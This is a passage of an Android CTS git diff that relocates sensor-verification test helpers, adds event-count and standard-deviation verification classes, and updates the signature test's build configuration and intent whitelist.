rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/AbstractSensorVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/AbstractSensorVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/BatchArrivalVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/BatchArrivalVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/BatchArrivalVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/BatchArrivalVerification.java
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerification.java
new file mode 100644
index 0000000..a6cfdf1
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerification.java
@@ -0,0 +1,211 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.hardware.cts.helpers.sensorverification;
+
+import junit.framework.Assert;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import android.os.Build;
+import android.hardware.Sensor;
+import android.hardware.SensorEvent;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.os.SystemClock;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A {@link ISensorVerification} which verifies if the collected sensor events have any obvious
+ * problems, such as no sample, wrong sensor type, etc.
+ */
+public class EventBasicVerification extends AbstractSensorVerification {
+
+    public static final String PASSED_KEY = "event_basic_passed";
+    // allowed time from registration to sensor start sampling
+    private static final long ALLOWED_SENSOR_START_DELAY_US =
+            TimeUnit.MILLISECONDS.toMicros(1000);
+
+    // allowed time for entire sensor system to send sample to test app
+    private static final long ALLOWED_SENSOR_EVENT_LATENCY_US =
+            TimeUnit.MILLISECONDS.toMicros(1000);
+
+    // mercy added for recently added test. remove this mercy factor for next letter release.
+    private final float NUM_EVENT_MERCY_FACTOR; // 0~1, 0 means most strict
+
+    private final long mExpectedMinNumEvent;
+    private final Object mSensor;
+    private long  mNumEvent;
+    private boolean mWrongSensorObserved;
+
+    /**
+     * Constructs an instance of {@link EventBasicVerification}.
+     *
+     * @param maximumSynchronizationErrorNs The valid threshold for timestamp synchronization.
+     * @param reportLatencyNs The latency on which batching events are received
+     */
+    public EventBasicVerification(
+            long expectedMinNumEvent,
+            Sensor sensor) {
+        mExpectedMinNumEvent = expectedMinNumEvent;
+        mSensor = sensor;
+
+        mNumEvent = 0;
+        mWrongSensorObserved = false;
+
+        if (ApiLevelUtil.isAfter(Build.VERSION_CODES.M)) {
+            NUM_EVENT_MERCY_FACTOR = 0;
+        } else {
+            NUM_EVENT_MERCY_FACTOR = 0.3f;
+        }
+    }
+
+    /**
+     * Gets a default {@link EventBasicVerification}.
+     *
+     * @param environment The test environment
+     * @return The verification or null if the verification is not supported in the given
+     *         environment.
+     */
+    public static EventBasicVerification getDefault(
+            TestSensorEnvironment environment,
+            long testDurationUs) {
+
+        // The calculation is still OK if sampleUs is not the actual sensor hardware
+        // sample period since the actual sample period by definition only goes smaller, which
+        // result in more samples.
+        long sampleUs = environment.getExpectedSamplingPeriodUs();
+
+        long askedBatchUs = environment.getMaxReportLatencyUs();
+
+        long reservedFifoUs = sampleUs * environment.getSensor().getFifoReservedEventCount(); //>=0
+
+        // max() prevent loop-hole if HAL specify smaller max fifo than reserved fifo.
+        long maximumFifoUs = Math.max(
+                sampleUs * environment.getSensor().getFifoMaxEventCount(), reservedFifoUs); //>=0
+
+        long effectiveDurationUs = Math.max(testDurationUs -
+                Math.max(ALLOWED_SENSOR_START_DELAY_US, environment.getAllowedSensorStartDelay()) -
+                ALLOWED_SENSOR_EVENT_LATENCY_US, 0);
+
+        boolean isSingleSensorTest = !environment.isIntegrationTest();
+
+        long expectedMinUs;
+        if (isSingleSensorTest) {
+            // When the sensor under test is the only one active, max fifo size is assumed to be
+            // available.
+            long expectedBatchUs = Math.min(maximumFifoUs, askedBatchUs);
+            if (expectedBatchUs > 0) {
+                // This sensor should be running in batching mode.
+                expectedMinUs =
+                        effectiveDurationUs / expectedBatchUs * expectedBatchUs
+                        - expectedBatchUs / 5;
+            } else {
+                // streaming, allow actual rate to be as slow as 80% of the asked rate.
+                expectedMinUs = effectiveDurationUs * 4 / 5;
+            }
+        } else {
+            // More convoluted case. Batch size can vary from reserved fifo length to max fifo size.
+            long minBatchUs = Math.min(reservedFifoUs, askedBatchUs);
+            long maxBatchUs = Math.min(maximumFifoUs, askedBatchUs);
+
+            // The worst scenario happens when the sensor batch time being just above half of the
+            // test time, then the test can only receive one batch which halves the expected number
+            // of samples. The expected number of samples received have a lower bound like the
+            // figure below.
+            //
+            // expected samples
+            //  ^
+            //  |                          ______
+            //  |\                        /
+            //  |  \                    /
+            //  |    \                /
+            //  |      \            /
+            //  |        \        /
+            //  |          \    /
+            //  |            \/
+            //  |
+            //  |
+            //  |
+            //  |
+            //  +------------+-----------+------->  actual batch size in time
+            //  0   1/2*testDuration   testDuration
+            //
+            long worstBatchUs = effectiveDurationUs / 2 + 1;
+            if ((minBatchUs > worstBatchUs) ==  (maxBatchUs > worstBatchUs)) {
+                // same side
+                double ratio = Math.min(Math.abs(worstBatchUs - minBatchUs),
+                        Math.abs(worstBatchUs - maxBatchUs)) / (double)worstBatchUs;
+                expectedMinUs = (long)((ratio + 1) / 2 * testDurationUs) * 4 / 5;
+            } else {
+                // the worst case is possible
+                expectedMinUs = worstBatchUs * 4 / 5;
+            }
+        }
+        long expectedMinNumEvent = expectedMinUs/sampleUs;
+
+        return new EventBasicVerification(expectedMinNumEvent, environment.getSensor());
+    }
+
+    @Override
+    public void verify(TestSensorEnvironment environment, SensorStats stats) {
+        verify(stats);
+    }
+
+    /* visible to unit test */
+    void verify(SensorStats stats) {
+
+        stats.addValue(SensorStats.EVENT_COUNT_KEY, mNumEvent);
+        stats.addValue(SensorStats.EVENT_COUNT_EXPECTED_KEY, mExpectedMinNumEvent);
+        stats.addValue(SensorStats.WRONG_SENSOR_KEY, mWrongSensorObserved);
+
+        boolean enoughSample = mNumEvent >= mExpectedMinNumEvent * ( 1 - NUM_EVENT_MERCY_FACTOR );
+        boolean noWrongSensor = !mWrongSensorObserved;
+
+        boolean success = enoughSample && noWrongSensor;
+        stats.addValue(PASSED_KEY, success);
+
+        if (!success) {
+            Assert.fail(String.format("Failed due to (%s%s)",
+                        enoughSample?"":"insufficient events " + mNumEvent + "/" +
+                                mExpectedMinNumEvent + ", ",
+                        noWrongSensor?"":"wrong sensor observed, "));
+        }
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public EventBasicVerification clone() {
+        return new EventBasicVerification( mExpectedMinNumEvent, (Sensor)mSensor );
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected void addSensorEventInternal(TestSensorEvent event) {
+        if (event.sensor == mSensor) {
+            ++mNumEvent;
+        } else {
+            mWrongSensorObserved = true;
+        }
+    }
+
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventBasicVerificationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventGapVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventGapVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventGapVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventGapVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventGapVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventGapVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventGapVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventGapVerificationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventOrderingVerificationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventTimestampSynchronizationVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventTimestampSynchronizationVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventTimestampSynchronizationVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/EventTimestampSynchronizationVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/FifoLengthVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FifoLengthVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/FifoLengthVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/FifoLengthVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/FrequencyVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/FrequencyVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/FrequencyVerificationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/GyroscopeIntegrationVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/GyroscopeIntegrationVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/GyroscopeIntegrationVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/GyroscopeIntegrationVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/ISensorVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/ISensorVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/ISensorVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/ISensorVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/JitterVerificationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/MagnitudeVerificationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanVerificationTest.java
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerification.java
new file mode 100644
index 0000000..e328c52
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerification.java
@@ -0,0 +1,241 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers.sensorverification;
+
+import junit.framework.Assert;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.hardware.Sensor;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.util.Log;
+
+import java.util.concurrent.TimeUnit;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A {@link ISensorVerification} which verifies that the standard deviations is within the expected
+ * range.
+ */
+public class StandardDeviationVerification extends AbstractSensorVerification {
+    public static final String PASSED_KEY = "standard_deviation_passed";
+
+    // sensorType: threshold
+    private static final Map<Integer, float[]> DEFAULTS = new HashMap<Integer, float[]>(12);
+    static {
+        // Use a method so that the @deprecation warning can be set for that method only
+        setDefaults();
+    }
+
+    private final float[] mThreshold;
+
+    private float[] mMeans = null;
+    private float[] mM2s = null;
+    private int mCount = 0;
+
+    /**
+     * Construct a {@link StandardDeviationVerification}
+     *
+     * @param threshold the thresholds
+     */
+    public StandardDeviationVerification(float[] threshold) {
+        mThreshold = threshold;
+    }
+
+    /**
+     * Get the default {@link StandardDeviationVerification} for a sensor.
+     *
+     * @param environment the test environment
+     * @return the verification or null if the verification does not apply to the sensor.
+     */
+    public static StandardDeviationVerification getDefault(TestSensorEnvironment environment) {
+        int sensorType = environment.getSensor().getType();
+        float graceFactorAccelGyro = 2.0f;
+        float graceFactorMagPressure = 4.0f;
+        float currOperatingFreq = (float) environment.getFrequencyHz();
+        float maxBandWidth = (float)SensorCtsHelper.getFrequency(
+                environment.getSensor().getMinDelay(), TimeUnit.MICROSECONDS);
+        float minBandWidth = (float) SensorCtsHelper.getFrequency(
+                environment.getSensor().getMaxDelay(), TimeUnit.MICROSECONDS);
+
+        if (Float.isInfinite(currOperatingFreq)) {
+            currOperatingFreq = maxBandWidth;
+        }
+
+        if (currOperatingFreq > maxBandWidth && !Float.isInfinite(maxBandWidth)) {
+            currOperatingFreq = maxBandWidth;
+        }
+
+        if (currOperatingFreq < minBandWidth && !Float.isInfinite(minBandWidth)) {
+            currOperatingFreq = minBandWidth;
+        }
+
+        float mAccelNoise = (float)(graceFactorAccelGyro * Math.sqrt(currOperatingFreq) *
+                (9.81 * 0.0004));
+        float mGyroNoise = (float)(graceFactorAccelGyro * Math.sqrt(currOperatingFreq) *
+                (Math.PI/180.0 * 0.014));
+        float mMagNoise = (float)((graceFactorMagPressure) * 0.5); // Allow extra grace for mag
+        float mPressureNoise = (float)(graceFactorMagPressure * 0.02 *
+                (float)Math.sqrt(currOperatingFreq)); // Allow extra grace for pressure
+
+        if (!DEFAULTS.containsKey(sensorType)) {
+            return null;
+        }
+        boolean hasHifiSensors = environment.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_HIFI_SENSORS);
+
+        if (hasHifiSensors) {
+
+            DEFAULTS.put(Sensor.TYPE_ACCELEROMETER, new float[]{mAccelNoise, mAccelNoise, mAccelNoise});
+            // Max gyro deviation: 0.014°/s/√Hz
+            DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
+                    new float[]{mGyroNoise, mGyroNoise, mGyroNoise});
+            // Max magnetometer deviation: 0.1uT/√Hz
+            DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD, new float[]{mMagNoise, mMagNoise, mMagNoise});
+            // Max pressure deviation: 2Pa/√Hz
+            DEFAULTS.put(Sensor.TYPE_PRESSURE, new float[]{mPressureNoise});
+        }
+        return new StandardDeviationVerification(DEFAULTS.get(sensorType));
+    }
+
+    /**
+     * Verify that the standard deviation is in the acceptable range. Add {@value #PASSED_KEY} and
+     * {@value SensorStats#STANDARD_DEVIATION_KEY} keys to {@link SensorStats}.
+     *
+     * @throws AssertionError if the verification failed.
+     */
+    @Override
+    public void verify(TestSensorEnvironment environment, SensorStats stats) {
+        verify(stats);
+    }
+
+    /**
+     * Visible for unit tests only.
+     */
+    void verify(SensorStats stats) {
+        if (mCount < 2) {
+            stats.addValue(PASSED_KEY, true);
+            return;
+        }
+
+        float[] stdDevs = new float[mM2s.length];
+        for (int i = 0; i < mM2s.length; i++) {
+            stdDevs[i] = (float) Math.sqrt(mM2s[i] / (mCount - 1));
+        }
+
+        boolean failed = false;
+        StringBuilder stddevSb = new StringBuilder();
+        StringBuilder expectedSb = new StringBuilder();
+
+        if (stdDevs.length > 1) {
+            stddevSb.append("(");
+            expectedSb.append("(");
+        }
+        for (int i = 0; i < stdDevs.length; i++) {
+            if (stdDevs[i] > mThreshold[i]) {
+                failed = true;
+            }
+            stddevSb.append(String.format("%.6f", stdDevs[i]));
+            if (i != stdDevs.length - 1) stddevSb.append(", ");
+            expectedSb.append(String.format("<%.6f", mThreshold[i]));
+            if (i != stdDevs.length - 1) expectedSb.append(", ");
+        }
+        if (stdDevs.length > 1) {
+            stddevSb.append(")");
+            expectedSb.append(")");
+        }
+
+        stats.addValue(PASSED_KEY, !failed);
+        stats.addValue(SensorStats.STANDARD_DEVIATION_KEY, stdDevs);
+
+        if (failed) {
+            Assert.fail(String.format("Standard deviation out of range: stddev=%s (expected %s)",
+                    stddevSb.toString(), expectedSb.toString()));
+        }
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public StandardDeviationVerification clone() {
+        return new StandardDeviationVerification(mThreshold);
+    }
+
+    /**
+     * {@inheritDoc}
+     * <p>
+     * Computes the standard deviation using
+     * <a href="http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#On-line_algorithm">
+     * Welford's algorith</a>.
+     * </p>
+     */
+    @Override
+    protected void addSensorEventInternal(TestSensorEvent event) {
+        if (mMeans == null || mM2s == null) {
+            mMeans = new float[event.values.length];
+            mM2s = new float[event.values.length];
+        }
+
+        Assert.assertEquals(mMeans.length, event.values.length);
+        Assert.assertEquals(mM2s.length, event.values.length);
+
+        mCount++;
+
+        for (int i = 0; i < event.values.length; i++) {
+            float delta = event.values[i] - mMeans[i];
+            mMeans[i] += delta / mCount;
+            mM2s[i] += delta * (event.values[i] - mMeans[i]);
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    private static void setDefaults() {
+        DEFAULTS.put(Sensor.TYPE_ACCELEROMETER, new float[]{1.0f, 1.0f, 1.0f});
+        DEFAULTS.put(Sensor.TYPE_GYROSCOPE, new float[]{0.5f, 0.5f, 0.5f});
+        // Sensors that we don't want to test at this time but still want to record the values.
+        DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_ORIENTATION,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_PRESSURE,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_GRAVITY,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_ROTATION_VECTOR,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
+                Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
+                Float.MAX_VALUE, Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
+                Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
+                Float.MAX_VALUE, Float.MAX_VALUE});
+        DEFAULTS.put(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR,
+                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
+                Float.MAX_VALUE});
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerificationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/TimestampClockSourceVerificationTest.java
diff --git a/tests/signature/Android.mk b/tests/signature/Android.mk
index 440a698..8502c59 100644
--- a/tests/signature/Android.mk
+++ b/tests/signature/Android.mk
@@ -27,10 +27,9 @@
 
 LOCAL_SDK_VERSION := current
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    android-support-test \
-    legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner \
+    compatibility-device-util \
+    android-support-test
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/signature/AndroidManifest.xml b/tests/signature/AndroidManifest.xml
index 52090ce..41a4233 100644
--- a/tests/signature/AndroidManifest.xml
+++ b/tests/signature/AndroidManifest.xml
@@ -17,6 +17,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.signature.cts">
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
     <application>
@@ -27,4 +28,4 @@
                      android:targetPackage="android.signature.cts"
                      android:label="API Signature Test"/>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/signature/AndroidTest.xml b/tests/signature/AndroidTest.xml
index 930bcac..0ca8ce2 100644
--- a/tests/signature/AndroidTest.xml
+++ b/tests/signature/AndroidTest.xml
@@ -14,6 +14,12 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Signature test cases">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+   <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsSignatureTestCases" />
+        <option name="version" value="1.0" />
+    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/signature-test-packages" />
         <option name='run-command'
@@ -30,12 +36,12 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="push" value="system-current.api->/data/local/tmp/signature-test/system-current.api" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSignatureTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.signature.cts" />
-        <option name="runtime-hint" value="1m11s" />
+        <option name="runtime-hint" value="7m11s" />
     </test>
 </configuration>
diff --git a/tests/signature/DynamicConfig.xml b/tests/signature/DynamicConfig.xml
new file mode 100644
index 0000000..5c61a31
--- /dev/null
+++ b/tests/signature/DynamicConfig.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 Google Inc.
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!--
+    Bug: 33305737 android.intent.action.ACTION_CARRIER_SETUP
+    Bug: 36980009 android.intent.action.QUICKBOOT_POWERON
+    Bug: 36977779 android.intent.action.MASTER_CLEAR
+    Bug: 38182465 android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED
+-->
+<dynamicConfig>
+    <entry key ="intent_whitelist">
+      <value>android.intent.action.ACTION_CARRIER_SETUP</value>
+      <value>android.intent.action.QUICKBOOT_POWERON</value>
+      <value>android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index d27a83b..3d67cd8 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -18,6 +18,9 @@
 include $(CLEAR_VARS)
 
 # current api, in XML format.
+# NOTE: the output XML file is also used
+# in //cts/hostsidetests/devicepolicy/AndroidTest.xml
+# by com.android.cts.managedprofile.CurrentApiHelper
 # ============================================================
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-current-api
diff --git a/tests/signature/src/android/signature/cts/FailureType.java b/tests/signature/src/android/signature/cts/FailureType.java
index 5aaebc4..a701202 100644
--- a/tests/signature/src/android/signature/cts/FailureType.java
+++ b/tests/signature/src/android/signature/cts/FailureType.java
@@ -10,6 +10,7 @@
     MISSING_FIELD,
     MISMATCH_CLASS,
     MISMATCH_INTERFACE,
+    MISMATCH_INTERFACE_METHOD,
     MISMATCH_METHOD,
     MISMATCH_FIELD,
     CAUGHT_EXCEPTION,
diff --git a/tests/signature/src/android/signature/cts/IntentTest.java b/tests/signature/src/android/signature/cts/IntentTest.java
index c0d3e84..3d674ab 100644
--- a/tests/signature/src/android/signature/cts/IntentTest.java
+++ b/tests/signature/src/android/signature/cts/IntentTest.java
@@ -57,6 +57,8 @@
 import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+
 import java.io.BufferedReader;
 import java.io.InputStreamReader;
 import java.io.IOException;
@@ -90,19 +92,21 @@
